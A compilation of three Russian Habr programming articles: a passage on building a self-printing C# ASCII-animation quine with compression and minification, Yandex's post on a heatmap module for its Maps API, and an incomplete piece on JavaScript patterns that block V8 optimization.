Шаблон является исходной точкой такого сложного квайна, и он может выглядеть следующим образом:
**Шаблон квайна**
```
using System;
using System.Text;
using System.Collections.Generic;
namespace Asciimation_1_3
{
class Program
{
/*#Asciimation_1_3*/
/*Asciimation_1_3#*/
/*#DecodeBase64*/
/*DecodeBase64#*/
/*#HuffmanTree*/
/*HuffmanTree#*/
/*#HuffmanRleDecode2*/
/*HuffmanRleDecode2#*/
/*#Enums*/
/*Enums#*/
/*#Utils*/
/*Utils#*/
static string Data = /*%Data_1_3*/""/*Data_1_3%*/;
static int CurrentFrame = /*$CurrentFrame*/0/*CurrentFrame$*/;
static void Main()
{
var output = Decompress_v_1_3(Data, CurrentFrame++);
if (CurrentFrame == 3591)
CurrentFrame = 3590;
/*$@$*/
}
}
}
/*$Output_1_3$*/
```
Как видим, в вышеупомянутом коде куча непонятных комментариев. Но на самом деле они являются **маркерами**, обозначающими куда должен вставляться определенный код или данные. Преимуществом такого подхода является то, что код может вставляться из других полных версий классов, а их, в свою очередь, можно тестировать (у меня используется NUnit). Данные маркеры я классифицировал следующим образом:
* **/\*#...\*/… /\*...#\*/ — Код.** Участки кода между этими маркерами ищутся по файлам из указанной директории.
* **/\*%...\*/… /\*...%\*/ — Данные.** Между этими маркерами вставляются сгенерированные с помощью определенных методов данные, которые должны быть представлены в строковой форме (ну т.е. обычная строка, массив строк, массив байт, целых чисел и т.д.). Вообще говоря, из маркеров данных можно извлекать информацию о методе, искать его в скомпилированной сборке и вызывать его с помощью рефлексии. Но я решил пока что ограничиться ручным вызовом нужных методов, потому что это более универсальный подход (так легче портировать на другие языки).
* **/\*$...\*/… /\*...$\*/ — Параметры.** Данные маркеры обозначают код, который меняется при каждой следующей итерации отображения квайна. Они указываются в специальной таблице, в которой указывается код для замены. В данном случае параметрами являются номер текущего кадра (он инкрементируется каждый раз) и поле вывода кадра внизу, реализованное с помощью однострочных комментариев. Некоторые параметры являются **интронами**, т.е. строчками, которые не влияют на код в следующей итерации. В данном случае интроном является поле вывода.
* **/\*@\*/ — Печать.** Это специальный маркер, в который собственно вставляется код для вывода всего квайна. Он существует только в единичном экземпляре. Замена происходит в самом конце, после генерации кода и данных на предыдущих этапах. Важно отметить, что для предотвращения дублирования секции данных (чтобы не печатать их в самом квайне и в данной строчке), на данном этапе происходит замена не на сами данные, а на параметры (т.е. вместо «asdf», содержащейся в output, выводится '"'+output+'"').
Таким образом, совмещая информацию об этапах и маркерах, можно построить следующую графическую схему:
Стоит отметить, что минификатор оставляет без изменений параметры самого квайна, а иначе возникнет ситуация, в которой параметру присвоится другое имя, а из-за этого квайн не будет компилироваться или будет выводить не то, что нужно. (Правда параметры все же минифицируются, но более хитрым способом).
Подробнее о всех этапах расписано ниже.
##### Генерация кода
При генерации кода анализируется все файлы исходных кодов из указанной папки. И код между маркерами **/\*#...\*/… /\*...#\*/** копируется в соответствующие места в исходном шаблоне. Например, в следующем примере класс HuffmanRle2 целиком копируется в участок между **/\*#HuffmanRleDecode2\*//\*HuffmanRleDecode2#\*/**. Для того, чтобы игнорировать некоторые фрагменты кода внутри этих маркеров (например, методы .ToString() не нужны в квайне, они нужны для отладки) и не разбивать данный фрагмент на два, были введены маркеры **/\*#Ignore\*//\*Ignore#\*/**, которые позволяют игнорировать весь код внутри них.
**Пример маркеров в исходном коде**
```
/*#HuffmanRleDecode2*/
public class HuffmanRle2
{
public static byte[] Decode(HuffmanTree tree, byte[] bytes, ref int curBit, int bytesCount, int bitsCountPerRepLength = 8, int bitsCountPerNotRepLength = 8)
{
int minLength = Math.Min(bitsCountPerRepLength, bitsCountPerNotRepLength);
var maxCount = 1 << (minLength - 1);
var root = tree.Root;
var result = new List(bytes.Length \* 2);
int curBytesCount = 0;
int i = 0;
while (curBytesCount < bytesCount)
{
var length = Utils.GetInt(bytes, ref curBit, minLength);
if ((length & maxCount) == 0)
{
curBit -= minLength;
length = Utils.GetInt(bytes, ref curBit, bitsCountPerRepLength);
var repeatCount = length + 2;
byte value = Utils.GetValue(root, bytes, ref curBit);
for (int j = 0; j < repeatCount; j++)
{
result.Add(value);
curBytesCount++;
}
}
else
{
curBit -= minLength;
length = Utils.GetInt(bytes, ref curBit, bitsCountPerNotRepLength);
var notRepeatCount = (((1 << (bitsCountPerNotRepLength - 1)) - 1) & length) + 1;
for (int j = 0; j < notRepeatCount; j++)
{
byte value = Utils.GetValue(root, bytes, ref curBit);
result.Add(value);
curBytesCount++;
}
}
i++;
}
return result.ToArray();
}
}
/\*HuffmanRleDecode2#\*/
```
Несмотря на то, что собранный из разных файлов код, может оказаться не оптимальным с точки зрения критерия минимальной длины, т.к. он писался все же в стандартном стиле, такой подход позволил написать и прогнать тесты (NUnit) для сжатия и извлечения данных квайна непосредственно перед его генерацией, что упрощает процесс разработки и делает его менее утомительным. Хотя минификация кода, которая описана далее, позволяет практически нивелировать недостаток такого подхода.
##### Генерация данных
Для сжатия данных использовались самые простые алгоритмы сжатия без потерь, такие как RLE и кодирование Хаффмана. Однако данную анимацию, как и любой фильм, можно разбить на основные и промежуточные кадры. Промежуточные кадры содержат информацию, которая изменилась с прошедшего кадра, а основные — всю информацию о кадре. Таким образом, чтобы получить все символы промежуточного кадра, необходимо раскодировать все предыдущие кадры до основного, а после этого рендерить все кадры до текущего с учетом полученных изменений. Получилось эдакое псевдо-MPEG. Структура основного и промежуточного кадров представлена ниже. Кроме обычных и промежуточных кадров, я решил еще включить промежуточные кадры, полученные путем смещения влево, вправо, вверх и вниз, так как они встречаются не так уж и редко.
**Frame:**
0..3 — type:
* 000 — base:
3..13 — chars count
13… — huffman rle codes
* 001 — left:
010 — top:
011 — right:
100 — bottom:
101 — changed:
3..10 — changes count
10… — changes
**Change:**
0..2 — type:
* 00 — one char:
2..12 — position
12… — huffman code
* 01 — line horizontal:
2..12 — position
12..19 — chars count
19… — huffman codes
* 10 — line vertical:
2..12 — position
12..16 — chars count
16… — huffman codes
К сожалению, финальное сжатие получилось не таким большим, как хотелось бы, но вполне приемлемым. А хотелось бы на уровне lzma в 7-zip, т.е. меньше 100 Кб. Скорее всего, с помощью более продвинутых методов (интервального кодирования, словарных методов), удалось бы достичь еще большей степени сжатия.
##### Минификация кода
Минификация нужна для того, чтобы уменьшить размер кода в текстовом формате. Для обработки C# кода использовалась библиотека [NRefactory](https://github.com/icsharpcode/NRefactory). Ее преимуществом перед Roslyn является то, что дерево разбора можно изменять в процессе, что требуется в задачи минификатора.
###### Укорочение имен классов, методов, полей, локальных переменных
Самой главной задачей минификатора являлся именно этот этап. Для обхода построенного синтаксического дерева использовался паттерн «Посетитель» (Visitor), реализованный в виде перегрузки нужных методов обхода узлов при обходе в глубину.
Для того, чтобы с одной стороны использовать минимальное количество идентификаторов, а с другой — чтобы они не пересекались и не приводили к ошибкам компиляции, алгоритм укорочения был разбит на следующие этапы:
* **Минификация локальных переменных.** На данном этапе агрегируется список всех имен *локальных переменных*, *аргументов методов* из их определений и соответствующих им узлов в дереве. Каждая переменная ассоциирована с определенным методом. После этого для каждого старого идентификатора внутри одного метода выполняется замена на новый.
* **Минификация членов типов.** На данном этапе агрегируется список всех имен *полей*, *методов*, *свойств*, *членов перечислений*, *событий* и соответствующих им узлов в дереве. Каждый член ассоциирован с определенным типом (*классом*, *структурой*, *интерфейсом*). После этого для каждого старого идентификатора внутри одного типа выполняется замена на новый.
* **Минификация имен типов.** На данном этапе агрегируется список всех имен типов (*классов*, *структур*, *интерфейсов*) и соответствующих им узлов в дереве. После этого каждое имя заменяется на новое.
Для генерации замен используется класс, который может генерировать либо минимальные по длине идентификаторы, либо случайные. В данном проекте используется первый вариант. При генерации замены на каждом этапе игнорируются любые встречающиеся имена идентификаторов (чтобы не было пересечений и потенциальных ошибок).
Стоит отметить, что библиотека поддерживает игнорируемые идентификаторы, т.е. такие, которые по каким-то причинам не должны быть укорочены, что используется в данном проекте (параметры квайна).
Для получения списка всех ссылок на используемые идентификаторы (Find All References в Visual Studio), используется механизм ресолвинга NRefactory. Для этого сначала необходимо откомпилировать дерево (на каждом этапе: локальные переменные, члены типов, типы):
```
var unresolvedFile = SyntaxTree.ToTypeSystem();
var projectContent = projectContent.AddOrUpdateFiles(_unresolvedFile);
var compilation = projectContent.CreateCompilation();
var resolver = new CSharpAstResolver(_compilation, SyntaxTree, _unresolvedFile);
```
После чего можно искать ссылки следующим образом:
```
var resolveResult = resolver.Resolve(node);
var findReferences = new FindReferences();
...
findReferences.FindLocalReferences();
...
findReferences.FindReferencesInFile();
```
###### Другие минификации
Также были реализованы следующие небольшие минификации:
* Удаление ключевого слова **private**
* Удаление пространств имен
* Сокращение выражения инициализации переменных:
+ ```
List a = new List() -> var a = new List()
```
+ ```
var a = new b() -> b a = new b()
```
Примечание: такую замену можно выполнить и с помощью шаблонного поиска, описанного в статье:
[Using NRefactory for analyzing Csharp code](http://www.codeproject.com/Articles/408663/Using-NRefactory-for-analyzing-Csharp-code)
* Удаление фигурных скобок, внутри которых только одно выражение: `if (a) { b; } => if (a) b;`
* Сокращение записи сравнения с булевым типом: `if (a == true) => if (a); if (a == false) => if (!a)`
* Удаление регионов и комментариев.
###### Удаление пробельных символов и переносов строк
После того, как всевозможные минификации сделаны, из кода остается удалить только лишние пробельные символы и переводы, причем таким образом, чтобы длина строк не превышала определенного значения (для красоты).
Минификатор реализован отдельным проектом и его и можно скачать здесь: [CSharp-Minifier](https://github.com/KvanTTT/CSharp-Minifier). Он в первую очередь разрабатывался с нацелом на сокращения кода в квайнах, поэтому нет ничего удивительно в том, что он обладает немного странной функциональностью. Впрочем, я с радостью приму ваши замечания и/или пулл-риквесты.
##### Форматирование кода
На данном этапе минифицированный код можно привести к виду, чтобы он был похож на какую-нибудь картинку. Форматирование идет именно после минификации, потому что сгенерированный код представляет собой в основном массив единичных символов (их можно разрывать), из которых легче строить картинку. Картинка должна иметь только черно-белый формат, чтобы символ представлял белый пиксель, а черный — его отсутствие. Для лучшего соответствия можно использовать какие-либо эвристические переборные алгоритмы (генетические). У меня форматирование реализовано не было.
##### Генерация квайна
В качестве маркера, куда нужно распечатать итоговую строку квайна, использовался следующий: **/\*@\*/**
Поэтапно все выглядит следующим образом. Весь код может быть совершенно произвольным, но в примере переносы строк добавлены для лучшей читабельности.
1. Инициализация шаблона:
**template =**
```
class P
{
static void Main()
{
var a = 6;
/*@*/
int b = 10;
}
}
```
2. Генерация шаблона строки, используемой для печати квайна. Кавычки, обратные слеши и переносы строк необходимо экранировать, так что их представление идет отдельными параметрами при выводи форматированной строки.
**kernel =** `"var s = {1}{0}{1}; System.Console.Write(s,s,'{1}','{2}{2}',{1}{2}r{2}n{1});"`
3. Замена в шаблоне маркера на строку, используемую для печати из предыдущего этапа. Т.к. в C# при выводе параметров используются фигурные скобки, то их также необходимо экранировать. Это делается путем их дублирования.
**str =** `template.Replace("{", "{{").Replace("}", "}}").Replace("/*@*/", kernel)`
**str =**
```
class P
{{
static void Main()
{{
var a = 6;
var s = {1}{0}{1}; System.Console.Write(s,s,'{1}','{2}{2}',{1}{2}r{2}n{1});
int b = 10;
}}
}}
```
4. Генерация результирующей строки, использующейся для печати квайна:
**insertToResult =** `"var s=\"" + str + "\""`
**insertToResult =**
```
var s="
class P
{{
static void Main()
{{
int a=6;
var s={1}{0}{1}; Console.Write(s,s,'{1}','{2}{2}',{1}{2}r{2}n{1});
int b=10;
}}
}}";
Console.Write(s,s,'"', '\\', "\r\n");
```
5. Замена маркера в исходном шаблоне на получившуюся строку:
**result =** `template.Replace("/*@*/", insertToResult)`
**result =**
```
using System;
class c
{
static void Main()
{
int a=6;
var s="using System;class c{{static void Main(){{int a=6;var s={1}{0}{1};Console.Write(s,s,'{1}','{2}{2}',{1}{2}r{2}n{1});int b=10;}}}}";
Console.Write(s,s,'"', '\\', "\r\n");
int b=10;
}
}
```
Готово: получена программа, которая может печатать сама себя.
Описанный подход можно обобщить и до генерации [квайнов-палиндромов](http://habrahabr.ru/post/189192/), но я пока что это не реализовывал.
#### Запуск
После того, как квайн сгенерирован, его можно например сохранить в файл Asciimation.cs и вывести один кадр следующей командой:
`"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" Asciimation.cs && (Asciimation > Asciimation.cs) && Asciimation`
А чтобы посмотреть весь сгенерированный «фильм», нужно воспользоваться следующим скриптом:
```
echo off
SET /a i=0
:LOOP
IF %i%==3591 GOTO END
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" Asciimation.cs && (Asciimation > Asciimation.cs) && Asciimation
SET /a i=%i%+1
GOTO LOOP
:END
pause
```
#### Заключение
Описанные в статье принципы применимы и в случае реализации различных квайнов на других языках программирования. К сожалению, с помощью онлайн сервисов ([ideone.com](https://ideone.com/), [compileonline](http://www.compileonline.com/compile_csharp_online.php)) протестировать разработанный код нельзя, потому что он все равно превышает максимально допустимый размер, несмотря на компрессию.
Сгенерированные файлы и батники можно скачать здесь: [AsciimationQuine\_1\_3.7z](https://github.com/KvanTTT/Freaky-Sources/releases/download/1.3/AsciimationQuine_1_3.7z). В перспективе можно попробовать заняться цепными квайнами и, возможно, повторить подвиг Yusuke Endoh, только уже не вручную, а с автоматической генерацией.
Специально для тех, кто не имеет возможности скомпилировать, но хочет посмотреть процесс: | https://habr.com/ru/post/190616/ | null | ru | null |
# На Яндекс.Картах теперь можно создавать тепловые карты
У Яндекс.Карт [давно](https://yandex.ru/yandsearch?text=site%3Ahttp%3A%2F%2Fclubs.ya.ru%2Fmapsapi%20тепловые%20карты&clid=1955453&redircnt=1412254356.1) просили сделать средство для визуализации данных с помощью тепловых карт — и мы наконец его сделали. Если вы — один из тех, кому это было очень нужно, можете переходить сразу к чтению документации на [гитхабе](https://github.com/yandex/mapsapi-heatmap). Если же вы ещё не знаете, нужно ли это вам, — можете потратить немного времени, чтобы почитать статью про то, что такое тепловые карты, как они генерируются на клиенте, и как мы совместили генерацию тепловой карты с картой географической.
[](http://habrahabr.ru/company/yandex/blog/241361/)
*Отображение географических точек из Википедии*
#### Что такое тепловые карты, и зачем они нужны
Итак, обо всем по порядку. Для начала давайте определимся, что такое тепловые карты и с чем их едят? Как подсказывает мне ~~капитан очевидность~~ википедия, тепловые карты (они же теплокарты, они же heatmap) — это графическое представление данных, где дополнительные переменные отображаются при помощи цвета. Такой вид отображения бывает очень удобным. Например, им часто пользуются веб-аналитики, чтобы увидеть наиболее активные части страниц сайта.
Вот такие карты кликов позволяет строить [Яндекс.Метрика](http://metrika.yandex.ru/):
Иногда бывает полезным нанесение каких-то количественных показателей на географическую карту, как в случае отображения зон покрытия мобильной связи/интернета у МТС:
Именно такие кейсы и призван решать модуль тепловых карт, который мы создали. Перед тем как я перейду к описанию самого процесса создания модуля, я хотел бы сказать еще пару слов о том, что из себя представляет наша модульная система, и как вы можете ей воспользоваться.
#### Модульная система
В версии 2.1 мы открыли доступ пользователям к нашей [модульной системе](http://api.yandex.ru/maps/doc/jsapi/2.1-dev/ref/reference/modules.xml), которая написана на основе [YModules](https://github.com/ymaps/modules), разработанной нашим коллегой [dfilatov](http://habrahabr.ru/users/dfilatov/). Эта модульная система имеет много разных приятных фич, таких как асинхронный resolve зависимостей, переопределение модулей, etc. Она была уже достаточно подробно [описана автором на Хабре](http://habrahabr.ru/post/213627/), так что если интересно, можете почитать.
Открытие модульной системы принесло нам приятный бонус — возможность для внешних разработчиков создавать собственные модули. Вроде бы и ничего архиважного, но благодаря этому наши пользователи теперь могут:
* самостоятельно писать новую функциональность для API Яндекс.Карт и делиться им в удобном виде с другими разработчиками;
* использовать нашу модульную систему как основную, если приложение целиком и полностью завязано на картах.
В качестве примера первого мы и создали тепловые карты.
Поскольку написать свои тепловые карты не было самоцелью данной затеи (главной задачей было сделать готовое решения для API Яндекс.Карт), перед тем как начать писать код и думать над алгоритмом работы, естественно, я полез на github искать какие-то готовые решения. Вполне ожидаемо было то, что [разных реализаций тепловых карт](https://github.com/search?l=JavaScript&q=heatmap&type=Repositories&utf8=%E2%9C%93) было там чуть больше, чем достаточно (почти две с половиной сотни).
Немного изучив исходники разных проектов, я остановил свое внимание на библиотеке [simpleheat](https://github.com/mourner/simpleheat) авторства [Mourner](http://habrahabr.ru/users/mourner/). У нее было два ключевых преимущества:
* код всего проекта занимал около сотни строчек;
* тепловая карта хорошо держала 10к точек без напряга при отрисовках (при большем количестве данных тестировать уже как-то бессмысленно, поскольку отдавать такие объемы данных только для отрисовки картинки на клиент крайне неразумно).
В конечном итоге мне, конечно, пришлось переписать значительную ее часть, но все равно, мне кажется, что это был лучший выбор. Все остальные решения были куда более громоздкими, но особых плюшек не предоставляли.
#### Алгоритм отрисовки тепловых карт
Пообщавшись с коллегами, я понял, что все видели тепловые карты, все знают, зачем и что это. Но почти никто не знал, как они отрисовываются. Именно поэтому я постараюсь описать эту часть более детально.
API Яндекс.Карт предоставляет возможность для отображения собственной подложки для карты, реализуется это с помощью специального класса [Layer](http://api.yandex.ru/maps/doc/jsapi/2.1/ref/reference/Layer.xml). На вход ему необходимо передать функцию, которая по номеру тайла и уровню масштабирования вернет url для загрузки тайла. Кто еще не знаком с тайлами и тайловой графикой можете немного почитать о них [в википедии](https://ru.wikipedia.org/wiki/Тайловая_графика) и у нас [в документации](http://api.yandex.ru/maps/doc/theory/concepts/coordinates.xml#tile_coordinates).
Написание функции генератора url'ов для получения тайлов — это фактически и есть вся задача создания тепловой карты для нашего API.
Когда мы определились с тем, что от нас нужно, мы начали думать над тем, как это сделать. Есть два принципиально различных метода для задания тепловой карты:
* с помощью двухмерного скалярного (плоского) поля (фактически это функция двух переменных);
* с помощью набора простых или взвешенных точек (каждой точке в соответствие ставится какое-то положительное число — ее вес).
Первый метод является более универсальным и включает в себя второй, но в тоже время он очень неудобен для использовании на практике (как часто вам предоставляют данные в виде функций нескольких переменных?), да и выглядит странно и непонятно для неподготовленных пользователей. Поэтому без лишних угрызений совести мы приняли решение, что будем использовать именно второй метод.
Для удобства работы пользователей мы решили, что будем поддерживать все самые [популярные форматы](https://github.com/yandex/mapsapi-heatmap#parameters) входных данных, которые используются в API (Number[][], IGeoObject, IGeoObject[], ICollection, ICollection[], GeoQueryResult, JSON), из-за этого нам пришлось наложить не сильно приятное ограничение на программный интерфейс теплокарт. Теплокарте можно задавать только набор данных и нельзя удалять или добавлять точки из этого набора. Таким образом, для работы с данными мы предоставляем всего лишь два метода: getData() и setData().
После того, как мы получили данные, мы приводим их к единому формату и переводим в [глобальные пиксельные координаты](http://api.yandex.ru/maps/doc/theory/concepts/coordinates.xml#pixel_coordinates). С такими данными уже относительно просто работать, поскольку для каждого тайла можно легко сказать, какие точки в него попадают, а какие нет.
После того, как данные были предподготовлены можно начать их отрисовывать. Как отрисовывать вопроса, вроде, не стоит (Canvas — наше все, тем более, у него есть замечательная функциональность getDataURL, особенно необходимый в нашем случае, поскольку именно url тайла мы должны предоставить API).
Для отрисовки каждой отдельной точки будем использовать кисть (рисунок слева), которая представляет из себя черно-белый градиент и рисуется на canvas'е весьма просто:
```
var brush = document.createElement('canvas'),
context = brush.getContext('2d'),
radius = 20,
gradient = context.createRadialGradient(radius, radius, 0, radius, radius, radius);
gradient.addColorStop(0, 'rgba(0,0,0,1)');
gradient.addColorStop(1, 'rgba(0,0,0,0)');
context.fillStyle = gradient;
context.fillRect(0, 0, 2 * radius, 2 * radius);
```
Вес точки будет определять, с какой прозрачностью кисть будет «рисовать» точку на тайле. После того, как мы отрисуем все точки тайла, у нас получится такой себе негатив нашего тайла тепловой карты.
```
var canvas = document.createElement('canvas'),
context = canvas.getContext('2d'),
maxOfWeights = 1,
radius = 20;
context.clearRect(0, 0, 256, 256);
for (var i = 0, length = points.length; i < length; i++) {
context.globalAlpha = Math.min(points[i].weight / maxOfWeights, 1);
context.drawImage(
brush, points[i].coords[0] - radius, points[i].coords[1] - radius
);
}
```
После чего тайл будет раскрашен установлением цвета каждому пикселю из градиента (options.gradient) в соответствии со значением его прозрачности. Прозрачность же каждого пикселя тайла будет равна общей прозрачности тепловой карты (options.opacity).
```
// Создаем градиент.
var canvas = document.createElement('canvas'),
context = canvas.getContext('2d'),
gradient = context.createLinearGradient(0, 0, 0, 256),
gradientOption = {
0.1: 'rgba(128, 255, 0, 0.7)',
0.2: 'rgba(255, 255, 0, 0.8)',
0.7: 'rgba(234, 72, 58, 0.9)',
1.0: 'rgba(162, 36, 25, 1)'
};
canvas.width = 1;
canvas.height = 256;
for (var i in gradientOption) {
if (gradientOption.hasOwnProperty(i)) {
gradient.addColorStop(i, gradientOption[i]);
}
}
context.fillStyle = gradient;
context.fillRect(0, 0, 1, 256);
// Раскрашиваем пиксели тайла.
var gradientData = context.getImageData(0, 0, 1, 256).data;
var opacity = 0.5
for (var i = 3, length = pixels.length, j; i < length; i += 4) {
if (pixels[i]) {
j = 4 * pixels[i];
pixels[i - 3] = gradientData[j];
pixels[i - 2] = gradientData[j + 1];
pixels[i - 1] = gradientData[j + 2];
pixels[i] = opacity * (gradientData[j + 3] || 255);
}
}
```
Вроде как и все, но нет. Всегда найдутся какие-то исключительные ситуации, которые придется обработать дополнительно. И в нашем случае возможность задания неограниченного сверху веса точки может привести к тому, что одна точка «погасит» все остальные. Так, например, если добавить на карту несколько сотен точек с весом один и одну точку с весом тысяча, то видна будет только последняя (рисунок слева).
Поэтому во избежание таких ситуаций мы ввели дополнительную опцию intensityOfMidpoint — это параметр, который задает, какая прозрачность (фактически определяет какой цвет) должна быть у медианной по весу точки. Таким образом, нам удастся сгладить экстремумы для обычных пользователей (рисунок справа), а остальные смогут подстроить опцию до нужных значений.
#### Как этим пользоваться
Подробная инструкция по загрузке модуля есть [в документации на github'e](https://github.com/yandex/mapsapi-heatmap/blob/master/README.md#loading). После чего для использования достаточно просто подключить его через модульную систему.
```
ymaps.modules.require(['Heatmap'], function (Heatmap) {
var data = [[37.782551, -122.445368], [37.782745, -122.444586]],
heatmap = new Heatmap(data);
heatmap.setMap(myMap);
});
```
Также мы подготовили [небольшое демо](http://yandex.github.io/mapsapi-heatmap/), которое позволит наглядно увидеть работу большинства опций.
Все свои вопросы/пожелания/возмущения или благодарности можете писать [в issues на github'е](https://github.com/yandex/mapsapi-heatmap/issues), у нас [в клубе](http://clubs.ya.ru/mapsapi/) или же напрямую [мне на почту alt-j@yandex-team.ru](mailto:alt-j@yandex-team.ru).
#### Вместо заключения
Как вы, наверное, поняли писать свои модули для API Яндекс.Карт весело и просто. Пробуйте, экспериментируйте, делитесь с нами вашими результатами. Еще раз приведу список важных ссылок:
* [модуль тепловых карт на github'e](https://github.com/yandex/mapsapi-heatmap);
* [документация API Яндекс.Карт](http://api.yandex.ru/maps/doc/jsapi/2.1/ref/concepts/About.xml);
* [документация нашей модульной системы](http://api.yandex.ru/maps/doc/jsapi/2.1/ref/reference/modules.xml);
* [клуб для общения про API Яндекс.Карт](http://clubs.ya.ru/mapsapi/). | https://habr.com/ru/post/241361/ | null | ru | null |
# Убийцы оптимизации
В этом посте изложены советы, как не написать код, производительность которого окажется гораздо ниже ожидаемой. Особенно это касается ситуаций, когда движок V8 (используемый в Node.js, Opera, Chromium и т. д.) отказывается оптимизировать какие-то функции.
Особенности V8
==============
В этом движке нет интерпретатора, но зато есть два разных компилятора: обычный и оптимизирующий. Это означает, что ваш JS-код всегда компилируется и выполняется напрямую как нативный. Думаете, это значит быстро? Ошибаетесь. Компиляция в нативный код не слишком-то улучшает производительность. Мы лишь избавляемся от использования интерпретатора, но неоптимизированный код так и будет работать медленно.
Например, в обычном компиляторе выражение a + b будет выглядеть так:
```
mov eax, a
mov ebx, b
call RuntimeAdd
```
Это всего лишь вызов соответствующей функции. Если a и b будут целочисленными, тогда код будет выглядеть так:
```
mov eax, a
mov ebx, b
add eax, ebx
```
А этот вариант будет работать гораздо быстрее вызова, который во время выполнения обрабатывает сложную дополнительную JS-семантику. Иными словами, обычный компилятор генерирует неоптимизированный, «сырой» код, а оптимизирующий компилятор доводит его до ума, приводя к финальному виду. При этом производительность оптимизированного кода может раз в 100 превышать производительность «обычного». Но дело в том, что вы не можете просто написать любой JS-код и оптимизировать его. Существует немало шаблонов программирования (часть из них даже идиоматические), которые оптимизирующий компилятор отказывается обрабатывать.
Обратите внимание, что если шаблон не оптимизируется, то это затрагивает всю функцию, которая его содержит. Ведь код оптимизируется по одной функции за раз, и система не знает, что делает весь остальной код (если только он не встроен в функцию, которая оптимизируется в данный момент).
Ниже мы рассмотрим большинство шаблонов, чьи функции попадают в «ад деоптимизации». Чаще всего имеет смысл их изменить, и предлагаемые решения могут стать ненужными, когда компилятор научится распознавать всё новые и новые шаблоны.
1. Использование встроенного инструментария
===========================================
Чтобы определять, как шаблоны влияют на оптимизацию, вы должны уметь использовать Node.js с некоторыми флагами V8. Создаёте функцию с неким шаблоном, вызываете её со всевозможными типами данных, а затем вызываете внутреннюю функцию V8 для проверки и оптимизации:
test.js:
```
// Function that contains the pattern to be inspected (using with statement)
function containsWith() {
return 3;
with({}) {}
}
function printStatus(fn) {
switch(%GetOptimizationStatus(fn)) {
case 1: console.log("Function is optimized"); break;
case 2: console.log("Function is not optimized"); break;
case 3: console.log("Function is always optimized"); break;
case 4: console.log("Function is never optimized"); break;
case 6: console.log("Function is maybe deoptimized"); break;
case 7: console.log("Function is optimized by TurboFan"); break;
default: console.log("Unknown optimization status"); break;
}
}
// Fill type-info
containsWith();
// 2 calls are needed to go from uninitialized -> pre-monomorphic -> monomorphic
containsWith();
%OptimizeFunctionOnNextCall(containsWith);
// The next call
containsWith();
// Check
printStatus(containsWith);
```
Запуск:
```
$ node --trace_opt --trace_deopt --allow-natives-syntax test.js
Function is not optimized
```
Чтобы проверить работоспособность, закомментируйте выражение with и перезапустите:
```
$ node --trace_opt --trace_deopt --allow-natives-syntax test.js
[optimizing 000003FFCBF74231 - took 0.345, 0.042, 0.010 ms]
Function is optimized
```
Важно использовать встроенный инструментарий для проверки, работают ли выбранные решения.
2. Неподдерживаемый синтаксис
=============================
Некоторые конструкции явным образом не поддерживаются оптимизирующим компилятором, поскольку используют неоптимизируемый синтаксис.
**Важно:** даже если конструкция недоступна или не выполняется, она всё равно не позволяет оптимизировать содержащую её функцию.
Например, бесполезно делать так:
```
if (DEVELOPMENT) {
debugger;
}
```
Этот код повлияет на всю функцию, даже если выражение debugger так и не будет выполняться.
На данный момент не оптимизируются:
* функции-генераторы;
* функции, содержащие выражение for-of;
* функции, содержащие выражение try-catch;
* функции, содержащие выражение try-finally;
* функции, содержащие составной оператор присваивания let;
* функции, содержащие составной оператор присваивания const;
* функции, содержащие объектные литералы, которые, в свою очередь, содержат объявления \_\_proto\_\_, get или set.
Скорее всего, неоптимизируемы:
* функции, содержащие выражение debugger;
* функции, вызывающие eval();
* функции, содержащие выражение with.
Чтобы не было недопонимания: если функция содержит что-то из перечисленного ниже, то она не будет оптимизироваться целиком:
```
function containsObjectLiteralWithProto() {
return {__proto__: 3};
}
function containsObjectLiteralWithGetter() {
return {
get prop() {
return 3;
}
};
}
function containsObjectLiteralWithSetter() {
return {
set prop(val) {
this.val = val;
}
};
}
```
Прямые вызовы eval и with заслужили особого упоминания, поскольку всё, с чем они работают, оказывается в динамической области видимости, а значит, эти выражения могут оказать негативное влияние на многие другие функции, если станет невозможно проанализировать, что там происходит.
**Обходное решение**: от некоторых из этих выражений нельзя отказаться в коде готового продукта. Например, от try-finally или try-catch. Для минимизации пагубного влияния их следует изолировать в рамках небольших функций:
```
var errorObject = {value: null};
function tryCatch(fn, ctx, args) {
try {
return fn.apply(ctx, args);
}
catch(e) {
errorObject.value = e;
return errorObject;
}
}
var result = tryCatch(mightThrow, void 0, [1,2,3]);
// Unambiguously tells whether the call threw
if(result === errorObject) {
var error = errorObject.value;
}
else {
// Result is the returned value
}
```
3. Использование arguments
==========================
Существует немало способов использовать arguments так, что оптимизировать функцию будет невозможно. Так что при работе с arguments следует быть особенно осторожными.
*### 3.1. Переприсвоение заданного параметра при условии использования arguments в теле функции (только в нестабильном режиме (sloppy mode))*
Типичный пример:
```
function defaultArgsReassign(a, b) {
if (arguments.length < 2) b = 5;
}
```
В данном случае можно сохранить параметр в новую переменную:
```
function reAssignParam(a, b_) {
var b = b_;
// Unlike b_, b can safely be reassigned
if (arguments.length < 2) b = 5;
}
```
Если бы это был единственный способ применения arguments в функции, то его можно было бы заменить проверкой на undefined:
```
function reAssignParam(a, b) {
if (b === void 0) b = 5;
}
```
Если есть вероятность, что arguments будет использован позже в функции, то можно не беспокоиться о переприсвоении.
Другой способ решения проблемы: включить строгий режим ('use strict') для файла или функции.
*### 3.2. Утекающие аргументы*
```
function leaksArguments1() {
return arguments;
}
function leaksArguments2() {
var args = [].slice.call(arguments);
}
function leaksArguments3() {
var a = arguments;
return function() {
return a;
};
}
```
Объект arguments не должен никуда передаваться.
Проксирование можно осуществить с помощью создания внутреннего массива:
```
function doesntLeakArguments() {
// .length is just an integer, this doesn't leak
// the arguments object itself
var args = new Array(arguments.length);
for(var i = 0; i < args.length; ++i) {
// i is always valid index in the arguments object
args[i] = arguments[i];
}
return args;
}
```
В данном случае приходится писать немало кода, так что имеет смысл сначала решить, а стоит ли овчинка выделки. Опять же оптимизирование подразумевает большое количество кода, с более явно выраженной семантикой.
Однако если ваш проект находится на стадии сборки, то этого можно достичь с помощью макроса, не требующего использования source maps и позволяющего сохранить исходный код в виде нормального JavaScript.
```
function doesntLeakArguments() {
INLINE_SLICE(args, arguments);
return args;
}
```
Эта методика используется в bluebird, и на стадии сборки код превращается в такой:
```
function doesntLeakArguments() {
var $_len = arguments.length;var args = new Array($_len); for(var $_i = 0; $_i < $_len; ++$_i) {args[$_i] = arguments[$_i];}
return args;
}
```
*### 3.3. Присвоение аргументам*
Это можно сделать только в нестабильном режиме:
```
function assignToArguments() {
